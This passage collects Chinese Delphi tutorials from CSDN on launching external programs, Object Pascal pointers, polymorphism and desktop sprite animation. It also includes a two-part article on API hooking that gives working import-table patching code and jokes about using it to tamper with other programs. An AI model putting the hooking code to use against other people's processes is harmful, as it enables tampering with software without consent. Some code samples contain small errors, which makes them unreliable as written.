另外，（或许你已经知道了）Delphi的文档也很清楚地说明了，调用BeginThread和EndThread来替代Win32API的CreateThread和ExitThread（其实《Windows 核心编程》也指出了应使用开发环境提供的_beginthreadex等函数，具体原因看书吧），至于Delphi，调用BeginThread的一个非常重要的作用就是将全局变量IsMultiThread设为True，因为Delphi的许多运行机制是当该变量为True时才是线程安全的，例如GetMem和FreeMem函数。"
——摘自 "hgd" <hgd01@263.net>

上述的朋友给了我严谨的批评和暖和的鼓舞，我在这里表示衷心的感谢！如果你给我提供了你的想法，我就在这里写上你的大名。:)

5.参考文献

1.《Windows核心编程》，机械工业出版社，2000年5月（虽然中文翻译奇烂）
2.《Microsoft Platform SDK》，microsoft, 2001年8月
3.《Delphi 5.0 帮助文档》、Delphi 5.0源代码


CSDN_文档中心_启动外部程序并等待它结束

如果在你的软件中留下了你的网页地址和邮件地址，你肯定希望人们点击它就会启动浏览器或者电子邮件软件。这其实就是如何启动外部软件的问题，很简单，不是吗？不过，如果我问你，如何启动外部程序并等待它结束，你还能告诉我吗？

其实，这是一个“古老”的话题，在WIN95时代就被讨论过了。不过，既然这么多人不知道，我感觉还是有必要再讨论一下。

一、为什么要启动外部程序

也许，你想让你的程序完成全部的功能。不过，无论从物力还是人力上，你都应养成资源共享的习惯。更好的考虑是，充分利用已有的程序，而让你的程序专注于某一方面的功能。比如说，浏览器负责打开网页，让人们浏览，当遇到下载的任务时，可以交给更专业的下载软件去做。你也可能在你的程序里留下了你的主页和邮箱地址，你希望有人点击它们时就分别启动浏览器和电子邮件。在某些情况下，你需要外部程序处理后，再进行下一步的工作，这时就会遇到启动外部程序并等待它结束的问题。

二、预备知识

启动外部程序我们可以使用函数Winexec、ShellExecute和ShellExecuteEx。我推荐大家使用函数ShellExecute，因为它既灵活，又简单。看看下面的例子，用法就清楚了：

*: 启动一个程序

ShellExecute(Handle,'open',PChar('c:\test\app.exe'),

nil,nil,SW_SHOW);

* 启动记事本 (因为记事本在系统路径下，所以不必写完整的路径名了):

ShellExecute(Handle, 'open', PChar('notepad'),

nil, nil, SW_SHOW);

* 启动记事本并加载一个纯文本文件:

ShellExecute(Handle, 'open', PChar('notepad'),

PChar('c:\test\readme.txt', nil, SW_SHOW);

* 使用记事本打开一个纯文本文件 (请确定*.txt文件被关联到记事本):

ShellExecute(Handle, 'open', PChar('c:\test\readme.txt'),

nil, nil, SW_SHOW);

* 使用默认浏览器打开网址:

ShellExecute(Handle, 'open', PChar('http://www.festra.com/'),

nil, nil, SW_SHOW);

* 打印一个文件:

ShellExecute(Handle, 'print', PChar('c:\test\readme.txt'),

nil, nil, SW_SHOW);

* 用Windows Explorer打开一个文件夹:

ShellExecute(Handle, 'explore', PChar('c:\windows)',

nil, nil, SW_SHOW);

* 运行一个DOS命令并立即返回:

ShellExecute(Handle, 'open', PChar('command.com'),

PChar('/c copy file1.txt file2.txt'), nil, SW_SHOW);

* 运行一个DOS命令并保持DOS窗口打开 ("stay in DOS"):

ShellExecute(Handle, 'open', PChar('command.com'),

PChar('/k dir'), nil, SW_SHOW);

启动一个外部程序并不难吧？不过，我们如何知道它是否运行结束了呢？我们的程序又怎样等待它结束呢？

三、启动外部程序并等待它结束的函数

我们可以通过进程句柄（process handle）来查看进程（程序）是否结束。为了得到进程句柄，有两个Win32 API函数可以利用：ShellExecuteEx 或者CreateProces。解决这个问题最简单的方法是，使用ShellExecuteEx启动一个外部程序，然后使用WaitForSingleObject管理这个外部程序的进程句柄。我们可以这样定义一个函数：

……

{ ExecAppWait：功能：运行外部程序并等待它结束。。

运行外部程序APPNAME，参数PARAMS；

Returns：如果外部程序出错返回 FASLE

}

function ExecAppWait(AppName, Params: string): Boolean ;

……

function ExecAppWait(AppName, Params: string): Boolean;

var

// Structure containing and receiving info about application to start

ShellExInfo: TShellExecuteInfo;

begin

FillChar(ShellExInfo, SizeOf(ShellExInfo), 0);

with ShellExInfo do begin

cbSize := SizeOf(ShellExInfo);

fMask := see_Mask_NoCloseProcess;

Wnd := Application.Handle;

lpFile := PChar(AppName);

lpParameters := PChar(Params);

nShow := sw_ShowNormal;

end;

Result := ShellExecuteEx(@ShellExInfo);

if Result then

while WaitForSingleObject(ShellExInfo.HProcess, 100) = WAIT_TIMEOUT do

begin

Application.ProcessMessages;

if Application.Terminated then Break;

end;

end;

……

不难理解吧？

建立一个Unit ExecWait,把上面的代码输进去。

四、例子

如图建立Form，源程序如下：

unit DemoUnit;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls,

Forms, Dialogs, StdCtrls, SHELLAPI;

type

TForm1 = class(TForm)

Edit1: TEdit;

Edit2: TEdit;

Label1: TLabel;

Label2: TLabel;

BtnExec: TButton;

CheckBoxWait: TCheckBox;

Label3: TLabel;

Label4: TLabel;

Edit3: TEdit;

Edit4: TEdit;

Label5: TLabel;

procedure BtnExecClick(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

uses

execwait;

{$R *.DFM}

procedure TForm1.BtnExecClick(Sender: TObject);

var

Success: Boolean;

InstanceID: THandle;

begin

{ 最小化窗口，提醒发生的变化 }

Application.Minimize;

Success := False;

try

if CheckBoxWait.Checked then

Success := ExecAppWait(Edit1.Text, Edit2.Text)

else begin

InstanceID := ShellExecute(Handle, 'open', PChar(Edit1.Text),

PChar(Edit2.Text), nil, SW_SHOW);

Success := InstanceID >= 32; // 小于32可就错了

end;

finally

// 可别忘了恢复我们的程序的窗口!

Application.Restore;

if not Success then

ShowMessage('Application 1 failed: ' + Edit1.Text + ' ' + Edit2.Text);

end;

try

if CheckBoxWait.Checked then

Success := ExecAppWait(Edit3.Text, Edit4.Text)

else begin

InstanceID := ShellExecute(Handle, 'open', PChar(Edit3.Text),

PChar(Edit4.Text), nil, SW_SHOW);

Success := InstanceID >= 32; //小于32可就错了

end;

finally

//恢复我们的程序的窗口

Application.Restore;

if not Success then

ShowMessage('Application 2 failed: ' + Edit3.Text + ' ' + Edit4.Text);

end;

end;

end.

OK，没有问题吧？你赶快试试吧，把它应用到你的程序里。＃


CSDN_文档中心_浅谈API HOOK技术（二）

浅谈API HOOK技术（二）

在这里我将要实现转跳。有人说修改内存内容要进入Ring 0 才可以。可是Windows本身提供了一个写内存的指令WriteProcessMemory。有了这把利器，我们几乎无所不能。如游戏的修改等在这里我们只谈APIHOOK。
function RepointFunction(OldFunc, NewFunc: Pointer): Integer;
var
IsDone: TList;
function RepointAddrInModule(hModule: THandle; OldFunc, NewFunc: Pointer): Integer;
var
Dos: PImageDosHeader;
NT: PImageNTHeaders;
ImportDesc: PImage_Import_Entry;
RVA: DWORD;
Func: ^Pointer;
DLL: string;
f: Pointer;
written: DWORD;
begin
Result := 0;
Dos := Pointer(hModule);
if IsDone.IndexOf(Dos) >= 0 then exit;
IsDone.Add(Dos);

OldFunc := LocateFunctionAddress(OldFunc);

if IsBadReadPtr(Dos, SizeOf(TImageDosHeader)) then exit;
if Dos.e_magic <> IMAGE_DOS_SIGNATURE then exit;
NT := Pointer(Integer(Dos) + dos._lfanew);

RVA := NT^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
.VirtualAddress;

if RVA = 0 then exit;
ImportDesc := pointer(integer(Dos) + RVA);
while (ImportDesc^.Name <> 0) do
begin
DLL := PChar(Integer(Dos) + ImportDesc^.Name);
RepointAddrInModule(GetModuleHandle(PChar(DLL)), OldFunc, NewFunc);
Func := Pointer(Integer(DOS) + ImportDesc.LookupTable);
while Func^ <> nil do
begin
f := LocateFunctionAddress(Func^);
if f = OldFunc then
begin
WriteProcessMemory(GetCurrentProcess, Func, @NewFunc, 4, written);
if Written > 0 then Inc(Result);
end;
Inc(Func);
end;
Inc(ImportDesc);
end;
end;

begin
IsDone := TList.Create;
try
Result := RepointAddrInModule(GetModuleHandle(nil), OldFunc, NewFunc);
finally
IsDone.Free;
end;
end;
有了这两个函数我们几乎可以更改任何API函数。
我们可以先写一个DLL文件。我这里以修改Text相关函数为例：
先定义几个函数：
type
TTextOutA = function(DC: HDC; X, Y: Integer; Str: PAnsiChar; Count: Integer): BOOL; stdcall;
TTextOutW = function(DC: HDC; X, Y: Integer; Str: PWideChar; Count: Integer): BOOL; stdcall;
TTextOut = function(DC: HDC; X, Y: Integer; Str: PChar; Count: Integer): BOOL; stdcall;
TDrawTextA = function(hDC: HDC; lpString: PAnsiChar; nCount: Integer; var lpRect: TRect; uFormat: UINT): Integer; stdcall;
TDrawTextW = function(hDC: HDC; lpString: PWideChar; nCount: Integer; var lpRect: TRect; uFormat: UINT): Integer; stdcall;
TDrawText = function(hDC: HDC; lpString: PChar; nCount: Integer; var lpRect: TRect; uFormat: UINT): Integer; stdcall;
var
OldTextOutA: TTextOutA;
OldTextOutW: TTextOutW;
OldTextOut: TTextOut;
OldDrawTextA: TDrawTextA;
OldDrawTextW: TDrawTextW;
OldDrawText: TDrawText;
......
function MyTextOutA(DC: HDC; X, Y: Integer; Str: PAnsiChar; Count: Integer): BOOL; stdcall;
begin
OldTextOutA(DC, X, Y, 'ABC', length('ABC'));
end;

function MyTextOutW(DC: HDC; X, Y: Integer; Str: PWideChar; Count: Integer): BOOL; stdcall;
begin
OldTextOutW(DC, X, Y, 'ABC', length('ABC'));
end;

function MyTextOut(DC: HDC; X, Y: Integer; Str: PChar; Count: Integer): BOOL; stdcall;
begin
OldTextOut(DC, X, Y, 'ABC', length('ABC'));
end;

function MyDrawTextA(hDC: HDC; lpString: PAnsiChar; nCount: Integer; var lpRect: TRect; uFormat: UINT): Integer; stdcall;
begin
OldDrawTextA(hDC, 'ABC', length('ABC'), lpRect, uFormat);
end;

function MyDrawTextW(hDC: HDC; lpString: PWideChar; nCount: Integer; var lpRect: TRect; uFormat: UINT): Integer; stdcall;
begin
OldDrawTextW(hDC, 'ABC', length('ABC'), lpRect, uFormat);
end;

function MyDrawText(hDC: HDC; lpString: PChar; nCount: Integer; var lpRect: TRect; uFormat: UINT): Integer; stdcall;
begin
OldDrawText(hDC, 'ABC', length('ABC'), lpRect, uFormat);
end;

调用时我们要把原来的函数地址保存下来：
if @OldTextOutA = nil then
@OldTextOutA := LocateFunctionAddress(@TextOutA);
if @OldTextOutW = nil then
@OldTextOutW := LocateFunctionAddress(@TextOutW);
if @OldTextOut = nil then
@OldTextOut := LocateFunctionAddress(@TextOut);
if @OldDrawTextA = nil then
@OldDrawTextA := LocateFunctionAddress(@DrawTextA);
if @OldDrawTextW = nil then
@OldDrawTextW := LocateFunctionAddress(@DrawTextW);
if @OldDrawText = nil then
@OldDrawText := LocateFunctionAddress(@DrawText);
然后很顺其自然的用自己的函数替换掉原来的函数
RepointFunction(@OldTextOutA, @MyTextOutA);
RepointFunction(@OldTextOutW, @MyTextOutW);
RepointFunction(@OldTextOut, @MyTextOut);
RepointFunction(@OldDrawTextA, @MyDrawTextA);
RepointFunction(@OldDrawTextW, @MyDrawTextW);
RepointFunction(@OldDrawText, @MyDrawText);
在结束时不要忘记恢复原来函数的入口，要不然你会死得很难看哟！好了我们在写一个Demo程序。你会说怎么文字没有变成ABC呀？是呀，你要刷新一下才行。最小化然后在最大化。看看变了没有。
要不然你就写代码刷新一下好了。至于去拦截其他进程的API那就用SetWindowsHookEx写一个其他的钩子将DLL映射进去就行了，我就不再浪费口水了。
掌握了该方法你几乎无所不能。你可以修改其它程序。你可以拦截Createwindow等窗口函数改变其他程序的窗口形状、你还可以入侵其它的程序，你还可以......嘿嘿。干了坏事别招出我来就行了。
我还写了个例子，请在CSDN上下载。


CSDN_文档中心_浅谈API HOOK技术（一）

浅谈API HOOK技术（一）

APIHook一直是使大家感兴趣的话题。屏幕取词，内码转化，屏幕翻译，中文平台等等都涉及到了此项技术。有很多文章涉及到了这项技术，但都闪烁其词不肯明明白白的公布。我仅在这里公布以下我用Delphi制作APIHook的一些心得。
通常的APIHOOK有这样几种方法：
1、自己写一个动态链接库，里面定义自己写的想取代系统的API。把这个动态链接库映射到2G以上的系统动态链接库所在空间，把系统动态链接库中的该API的指向修改指向自己的函数。这种方法的好处就是可以取代系统中运行全部程序的该API。但他有个局限，就是只适用于Win9x。（原因是NT中动态链接库不是共享的，每个进程都有自己的一份动态链接库在内存中的映射）
2、自己写一个动态链接库，里面定义自己写得象替代系统的API。把这个动态链接库映射到进程的空间里。将该进程对API的调用指向自己写的动态链接库。这种方法的好处是可以选择性的替代哪个进程的API。而且适用于所有的Windows操作系统。
这里我选用的是第二种方法。
第二种方法需要先了解一点PE文件格式的知识。
首先是一个实模式的的DOS文件头，是为了保持和DOS的兼容。
接着是一个DOS的代理模块。你在纯DOS先运行Win32的可执行文件，看看是不是也执行了，只是显示的的是一行信息大意是说该Windows程序不能在DOS实模式下运行。
然后才是真正意义上的Windows可执行文件的文件头。它的具体位置不是每次都固定的。是由文件偏移$3C决定的。我们要用到的就是它。
如果我们在程序中调用了一个MessageBoxA函数那么它的实现过程是这样的。他先调用在本进程中的MessageBoxA函数然后才跳到动态链接库的MessageBoxA的入口点。即：
call messageBoxA(0040106c)
jmp dword ptr [_jmp_MessageBoxA@16(00425294)]
其中00425294的内容存储的就是就是MessageBoxA函数的入口地址。如果我们做一下手脚，那么......
那就开始吧！
我们需要定义两个结构
type
PImage_Import_Entry = ^Image_Import_Entry;
Image_Import_Entry = record
Characteristics: DWORD;
TimeDateStamp: DWORD;
MajorVersion: Word;
MinorVersion: Word;
Name: DWORD;
LookupTable: DWORD;
end;
type
TImportCode = packed record
JumpInstruction: Word; file: //定义跳转指令jmp
AddressOfPointerToFunction: ^Pointer; file: //定义要跳转到的函数
end;
PImportCode = ^TImportCode;
然后是确定函数的地址。
function LocateFunctionAddress(Code: Pointer): Pointer;
var
func: PImportCode;
begin
Result := Code;
if Code = nil then exit;
try
func := code;
if (func.JumpInstruction = $25FF) then
begin
Result := func.AddressOfPointerToFunction^;
end;
except
Result := nil;
end;
end;
参数Code是函数在进程中的指针，即那条Jmp XXX的指令。$25FF就是跳转指令的机器码。
再下一篇我会讲如何替换下那个XXX的内容，让他跳到你想去的地方。


CSDN_文档中心_浅谈Object Pascal的指针

浅谈Object Pascal的指针

Nicrosoft(nicrosoft@sunistudio.com) 2001.8.26
(http://www.sunistudio.com/nicrosoft/
东日文档：http://www.sunistudio.com/asp/sunidoc.asp)

大家都认为，C语言之所以强大，以及其自由性，很大部分体现在其灵活的指针运用上。因此，说指针是C语言的灵魂，一点都不为过。同时，这种说法也让很多人产生误解，似乎只有C语言的指针才能算指针。Basic不支持指针，在此不论。其实，Pascal语言本身也是支持指针的。从最初的Pascal发展至今的Object Pascal，可以说在指针运用上，丝毫不会逊色于C语言的指针。

以下内容分为八个部分，分别是
一、类型指针的定义
二、无类型指针的定义
三、指针的解除引用
四、取地址（指针赋值）
五、指针运算
六、动态内存分配
七、字符数组的运算
八、函数指针

一、类型指针的定义。对于指向特定类型的指针，在C中是这样定义的：
int *ptr;
char *ptr;
与之等价的Object Pascal是如何定义的呢？
var
ptr : ^Integer;
ptr : ^char;
其实也就是符号的差别而已。

二、无类型指针的定义。C中有void *类型，也就是可以指向任何类型数据的指针。Object Pascal为其定义了一个专门的类型：Pointer。于是，
ptr : Pointer;
就与C中的
void *ptr;
等价了。

三、指针的解除引用。要解除指针引用（即取出指针所指区域的值），C 的语法是 (*ptr)，Object Pascal则是 ptr^。

四、取地址（指针赋值）。取某对象的地址并将其赋值给指针变量，C 的语法是
ptr = &Object;
Object Pascal 则是
ptr := @Object;
也只是符号的差别而已。

五、指针运算。在C中，可以对指针进行移动的运算，如：
char a[20];
char *ptr=a;
ptr++;
ptr+=2;
当执行ptr++;时，编译器会产生让ptr前进sizeof(char)步长的代码，之后，ptr将指向a[1]。ptr+=2;这句使得ptr前进两个sizeof(char)大小的步长。同样，我们来看一下Object Pascal中如何实现：
var
a : array [1..20] of Char;
ptr : PChar; //PChar 可以看作 ^Char
begin
ptr := @a;
Inc(ptr); // 这句等价于 C 的 ptr++;
Inc(ptr, 2); //这句等价于 C 的 ptr+=2;
end;

六、动态内存分配。C中，使用malloc()库函数分配内存，free()函数释放内存。如这样的代码：
int *ptr, *ptr2;
int i;
ptr = (int*) malloc(sizeof(int) * 20);
ptr2 = ptr;
for (i=0; i<20; i++){
*ptr = i;
ptr++;
}
free(ptr2);
Object Pascal中，动态分配内存的函数是GetMem()，与之对应的释放函数为FreeMem()（传统Pascal中获取内存的函数是New()和 Dispose()，但New()只能获得对象的单个实体的内存大小，无法取得连续的存放多个对象的内存块）。因此，与上面那段C的代码等价的Object Pascal的代码为：
var ptr, ptr2 : ^integer;
i : integer;
begin
GetMem(ptr, sizeof(integer) * 20);
//这句等价于C的 ptr = (int*) malloc(sizeof(int) * 20);
ptr2 := ptr; //保留原始指针位置
for i := 0 to 19 do
begin
ptr^ := i;
Inc(ptr);
end;
FreeMem(ptr2);
end;
对于以上这个例子（无论是C版本的，还是Object Pascal版本的），都要注意一个问题，就是分配内存的单位是字节（BYTE），因此在使用GetMem时，其第二个参数如果想当然的写成 20，那么就会出问题了（内存访问越界）。因为GetMem(ptr, 20);实际只分配了20个字节的内存空间，而一个整形的大小是四个字节，那么访问第五个之后的所有元素都是非法的了（对于malloc()的参数同样）。

七、字符数组的运算。C语言中，是没有字符串类型的，因此，字符串都是用字符数组来实现，于是也有一套str打头的库函数以进行字符数组的运算，如以下代码：
char str[15];
char *pstr;
strcpy(str, "teststr");
strcat(str, "_testok");
pstr = (char*) malloc(sizeof(char) * 15);
strcpy(pstr, str);
printf(pstr);
free(pstr);
而在Object Pascal中，有了String类型，因此可以很方便的对字符串进行各种运算。但是，有时我们的Pascal代码需要与C的代码交互（比如：用Object Pascal的代码调用C写的DLL或者用Object Pascal写的DLL准备允许用C写客户端的代码）的话，就不能使用String类型了，而必须使用两种语言通用的字符数组。其实，Object Pascal提供了完全相似C的一整套字符数组的运算函数，以上那段代码的Object Pascal版本是这样的：
var str : array [1..15] of char;
pstr : PChar; //Pchar 也就是 ^Char
begin
StrCopy(@str, 'teststr'); //在C中，数组的名称可以直接作为数组首地址指针来用
//但Pascal不是这样的，因此 str前要加上取地址的运算符
StrCat(@str, '_testok');
GetMem(pstr, sizeof(char) * 15);
StrCopy(pstr, @str);
Write(pstr);
FreeMem(pstr);
end;

八、函数指针。在动态调用DLL中的函数时，就会用到函数指针。假设用C写的一段代码如下：
typedef int (*PVFN)(int); //定义函数指针类型
int main()
{
HMODULE hModule = LoadLibrary("test.dll");
PVFN pvfn = NULL;
pvfn = (PVFN) GetProcAddress(hModule, "Function1");
pvfn(2);
FreeLibrary(hModule);
}
就我个人感觉来说，C语言中定义函数指针类型的typedef代码的语法有些晦涩，而同样的代码在Object Pascal中却非常易懂：
type PVFN = Function (para : Integer) : Integer;
var
fn : PVFN;
//也可以直接在此处定义，如：fn : function (para:Integer):Integer;
hm : HMODULE;
begin
hm := LoadLibrary('test.dll');
fn := GetProcAddress(hm, 'Function1');
fn(2);
FreeLibrary(hm);
end;


CSDN_文档中心_浅谈多态——概念描述

浅谈多态——概念描述 2001.9.25

作者：Nicrosoft（奈软 nicrosoft@sunistudio.com）
个人主页：http://www.sunistudio.com/nicrosoft/
东日文档：http://www.sunistudio.com/asp/sunidoc.asp

多态性，这个面向对象编程领域的核心概念，本身的内容博大精深，要以一文说清楚实在是不太可能。加之作者本人也还在不断学习中，水平有限。因此本文只能描一下多态的轮廓，使读者能够了解个大概。如果有描的不准的地方，欢迎指出，或与作者探讨（作者Email：nicrosoft@sunistudio.com）

首先，什么是多态（Polymorphisn）？按字面的意思就是“多种形状”。我手头的书上没有找到一个多态的理论性的概念的描述。暂且引用一下Charlie Calverts的对多态的描述吧——多态性是允许你将父对象设置成为和一个或更多的他的子对象相等的技术，赋值之后，父对象就可以根据当前赋值给它的子对象的特性以不同的方式运作（摘自“Delphi4 编程技术内幕”）。简单的说，就是一句话：允许将子类类型的指针赋值给父类类型的指针。多态性在Object Pascal和C++中都是通过虚函数（Virtual Function）实现的。

好，接着是“虚函数”（或者是“虚方法”）。虚函数就是允许被其子类重新定义的成员函数。而子类重新定义父类虚函数的做法，称为“覆盖”（override），或者称为“重写”。

这里有一个初学者经常混淆的概念。覆盖（override）和重载（overload）。上面说了，覆盖是指子类重新定义父类的虚函数的做法。而重载，是指允许存在多个同名函数，而这些函数的参数表不同（或许参数个数不同，或许参数类型不同，或许两者都不同）。其实，重载的概念并不属于“面向对象编程”，重载的实现是：编译器根据函数不同的参数表，对同名函数的名称做修饰，然后这些同名函数就成了不同的函数（至少对于编译器来说是这样的）。如，有两个同名函数：function func(p:integer):integer;和function func(p:string):integer;。那么编译器做过修饰后的函数名称可能是这样的：int_func、str_func。对于这两个函数的调用，在编译器间就已经确定了，是静态的（记住：是静态）。也就是说，它们的地址在编译期就绑定了（早绑定），因此，重载和多态无关！真正和多态相关的是“覆盖”。当子类重新定义了父类的虚函数后，父类指针根据赋给它的不同的子类指针，动态（记住：是动态！）的调用属于子类的该函数，这样的函数调用在编译期间是无法确定的（调用的子类的虚函数的地址无法给出）。因此，这样的函数地址是在运行期绑定的（晚邦定）。结论就是：重载只是一种语言特性，与多态无关，与面向对象也无关！

引用一句Bruce Eckel的话：“不要犯傻，如果它不是晚邦定，它就不是多态。”

那么，多态的作用是什么呢？我们知道，封装可以隐藏实现细节，使得代码模块化；继承可以扩展已存在的代码模块（类）；它们的目的都是为了——代码重用。而多态则是为了实现另一个目的——接口重用！而且现实往往是，要有效重用代码很难，而真正最具有价值的重用是接口重用，因为“接口是公司最有价值的资源。设计接口比用一堆类来实现这个接口更费时间。而且接口需要耗费更昂贵的人力的时间。”

其实，继承的为重用代码而存在的理由已经越来越薄弱，因为“组合”可以很好的取代继承的扩展现有代码的功能，而且“组合”的表现更好（至少可以防止“类爆炸”）。因此笔者个人认为，继承的存在很大程度上是作为“多态”的基础而非扩展现有代码的方式了。

什么是接口重用？我们举一个简单的例子，假设我们有一个描述飞机的基类（Object Pascal语言描述，下同）：
type
plane = class
public
procedure fly(); virtual; abstract; //起飞纯虚函数
procedure land(); virtual; abstract; //着陆纯虚函数
function modal() : string; virtual; abstract; //查寻型号纯虚函数
end;

然后，我们从plane派生出两个子类，直升机（copter）和喷气式飞机（jet）：
copter = class(plane)
private
fModal : String;
public
constructor Create();
destructor Destroy(); override;
procedure fly(); override;
procedure land(); override;
function modal() : string; override;
end;

jet = class(plane)
private
fModal : String;
public
constructor Create();
destructor Destroy(); override;
procedure fly(); override;
procedure land(); override;
function modal() : string; override;
end;

现在，我们要完成一个飞机控制系统，有一个全局的函数 plane_fly，它负责让传递给它的飞机起飞，那么，只需要这样：
procedure plane_fly(const pplane : plane);
begin
pplane.fly();
end;
就可以让所有传给它的飞机（plane的子类对象）正常起飞！不管是直升机还是喷气机，甚至是现在还不存在的，以后会增加的飞碟。因为，每个子类都已经定义了自己的起飞方式。

可以看到 plane_fly函数接受参数的是 plane类对象引用，而实际传递给它的都是 plane的子类对象，现在回想一下开头所描述的“多态”：多态性是允许你将父对象设置成为和一个或更多的他的子对象相等的技术，赋值之后，父对象就可以根据当前赋值给它的子对象的特性以不同的方式运作。

很显然，parent = child; 就是多态的实质！因为直升机“是一种”飞机，喷气机也“是一种”飞机，因此，所有对飞机的操作，都可以对它们操作，此时，飞机类就作为一种接口。

多态的本质就是将子类类型的指针赋值给父类类型的指针（在OP中是引用），只要这样的赋值发生了，多态也就产生了，因为实行了“向上映射”。

应用多态的例子非常普遍，在Delphi的VCL类库中，最典型的就是：TObject类有一个虚拟的Destroy虚构函数和一个非虚拟的Free函数。Free函数中是调用Destroy的。因此，当我们对任何对象（都是TObject的子类对象）调用 .Free();之后，都会执行 TObject.Free();，它会调用我们所使用的对象的析构函数 Destroy();。这就保证了任何类型的对象都可以正确地被析构。

多态性作为面向对象最重要的特性，本文所提不过是沧海一粟，还有很多内容。如果可能，希望会有后文继续探讨多态。


CSDN_文档中心_浅析桌面精灵的实现

1． 软件的开发目的

想必大家对桌面精灵很熟悉吧，想不想自己编一个？笔者非常想编一个，其目的居然是为了取得美眉的喜欢，由此引出了我开发本软件的目的。如果读者有我同样的需求，那么请继续看下去，我将和你共同探讨这个问题。注意以下示例代码均用DELPHI描述。

2． 实现原理

其实桌面精灵的原理很简单，主要分以下几步：

1.获取桌面窗口的HDC。

API 定义如下：

GetDC函数用于获取指定窗口的图形设备描述表

HDC GetDC(

HWND hWnd // 窗口句柄

);

例如：

DeskTopDC:HDC;//定义桌面窗口的图形设备描述表句柄

DeskTopDC:=GetDC(0);

或者DeskTopDC:=GetDC(GetDesktopWindow());

2.创建一个内存位图，把桌面中将要绘图的区域，保存到内存位图中去，以便绘图完成时恢复桌面。为此我定义了一个函数：

procedure savebackground(BKCanvas :TCanvas;//内存位图的画布对象

sp_w:integer;//要保存区域的宽度

sp_h :integer ;//要保存区域的高度

nx:integer;//要保存区域的X坐标

ny:integer);//要保存区域的Y坐标

3.将动画对象透明地拷贝到桌面的绘图区域，笔者用了一个GDIAPI函数方便地实现了此功能。

定义如下：

BOOL TransparentBlt(HDC hdcDest,//目标图形设备描述表句柄

int nXOriginDest,//绘图矩形的X坐标

int nYOriginDest,//绘图矩形的Y坐标

int nWidthDest,//绘图矩形的宽度

int hHeightDest,//绘图矩形的高度

HDC hdcSrc,//源图形设备描述表句柄

int nXOriginSrc,//源绘图矩形的X坐标

int nYOriginSrc,//源绘图矩形的Y坐标

int nWidthSrc,//源绘图矩形的宽度

int nHeightSrc,//源绘图矩形的高度

UINT crTransparent//设置透明色RGB(r,g,b)

);

注意：

Windows NT: 需要5.0或以上版本

Windows: 需要 Windows 98 或 以上版本

其它低版本不支持。

此函数包含在msimg32.dll.

笔者定义了一个tranbit函数来动态调用TransparentBlt函数，具体定义见第三节。

4.将第二步生成的内存位图拷贝到桌面。这样一帧动画就显示完成。不断循环1-4步，你就能看到连续的动画场景了。

3．具体代码

以下是一个演示程序，在DELPHI5.0+WINDOWS2000P中调试通过。创建一个窗体Form1,放上两个Image控件,命名为Image1,Image2，再放上一个Timer控件，命名为Timer1。准备两张位图，一张放入Image1,另一张放入Image2。笔者用了如下样式的位图（截取了一部分），你可以自己画动画对象，也可以借用别人的，笔者就是用微软画的图片。

从图片你可以看出，图片中包括了许多连续的动画帧，一张图片完成一个动作，如旋转一周等，每帧动画大小完全一样，除了动画对象其它像素用一种透明色填充。好了你可以看具体的代码了。

unit Unitmain;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls, StdCtrls,mmsystem;

type

TForm1 = class(TForm)

Timer1: TTimer;//爆炸定时器

Image1: TImage;//储存爆炸的图片

Image2: TImage;//储存飞行器的图片

procedure Timer1Timer(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure FormClose(Sender: TObject; var Action: TCloseAction);

private

{ Private declarations }

DeskTopDC:HDC;//桌面窗口的图形设备描述表句柄

stop:boolean;//控制循环的变量

expnum:integer;//爆炸的当前次数

procedure Explode(X:integer;Y:integer);//爆炸函数

procedure shipmove(X:integer;Y:integer);//飞行器函数

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

//保存桌面背景

procedure savebackground(BKCanvas :TCanvas;

sp_w:integer;

sp_h :integer ;

nx:integer;

ny:integer);

var sc:TCanvas;

begin

sc:=TCanvas.Create;

try

sc.Handle:=GetDC(0);

bkcanvas.CopyRect( rect(0,0,sp_w, sp_h), sc,rect(nx, ny, nx+sp_w, ny+sp_h));

ReleaseDC(0, sc.handle);

finally

sc.free;

end;

end;

//透明拷贝图像函数

//静态调用API函数TransparentBlt

procedure tranbit(hdcDest:HDC;

nXOriginDest:integer;

nYOriginDest:integer;

nWidthDest:integer;

hHeightDest:integer;

hdcSrc:HDC;

nXOriginSrc:integer;

nYOriginSrc:integer;

nWidthSrc:integer;

nHeightSrc:integer;

crTransparent:UINT) ;

Var

LibHandle:HWND;//动态连接库句柄

//函数原型定义

DllName:Procedure(hdcDest:HDC;

nXOriginDest:integer;

nYOriginDest:integer;

nWidthDest:integer;

hHeightDest:integer;

hdcSrc:HDC;

nXOriginSrc:integer;

nYOriginSrc:integer;

nWidthSrc:integer;

nHeightSrc:integer;

crTransparent:UINT);Stdcall;

begin

//以下是静态调用dll中函数的例行公事

LibHandle:=LoadLibrary('msimg32.dll');

if LibHandle<32 then

begin

MessageBox(Form1.Handle,'Not Found msimg32.dll','Error',0);

Exit;

end;

@DllName:=GetProcAddress(LibHandle,'TransparentBlt');

if @DllName=nil then

begin

MessageBox(Form1.Handle,'Not Found TransparentBlt in msimg32.dll','Error',0);

FreeLibrary(LibHandle);

Exit;

end;

try

TransparentBlt(hdcDest,

nXOriginDest,

nYOriginDest,

nWidthDest,

hHeightDest,

hdcSrc,

nXOriginSrc,

nYOriginSrc,

nWidthSrc,

nHeightSrc,

crTransparent);

finally

FreeLibrary(LibHandle);

end;

end;

//爆炸函数

//在桌面的X,Y坐标处发生爆炸

procedure TForm1.Explode(X:integer;Y:integer);

var

BitMapB : TBitMap;//保存桌面指定区域的内存位图

w:integer;//一帧动画的宽度

h:integer;//一帧动画的高度

i:integer;

j:integer;

begin

BitMapB:=TBitMap.Create;

try

//动画位图为4*5=20帧

w:=Image1.Width div 4;//计算每帧的宽度

h:=image1.Height div 5;//计算每帧的高度

//初始化内存为图的大小

BitMapB.Height :=h;

BitMapB.Width :=w;

//保存桌面上指定区域的位图

//注意，由于爆炸是在同一位置完成的，所以只要保存爆炸区域一次就行了。

savebackground(BitMapB.canvas,w,h,X,Y);

for i:=0 to 4 do

begin

for j:=0 to 3 do

begin

//把相应帧画到桌面上

tranbit(DeskTopDC ,x,y,w,h,

image1.Canvas.Handle,j*w,i*h,w,h,RGB(208,2,178));

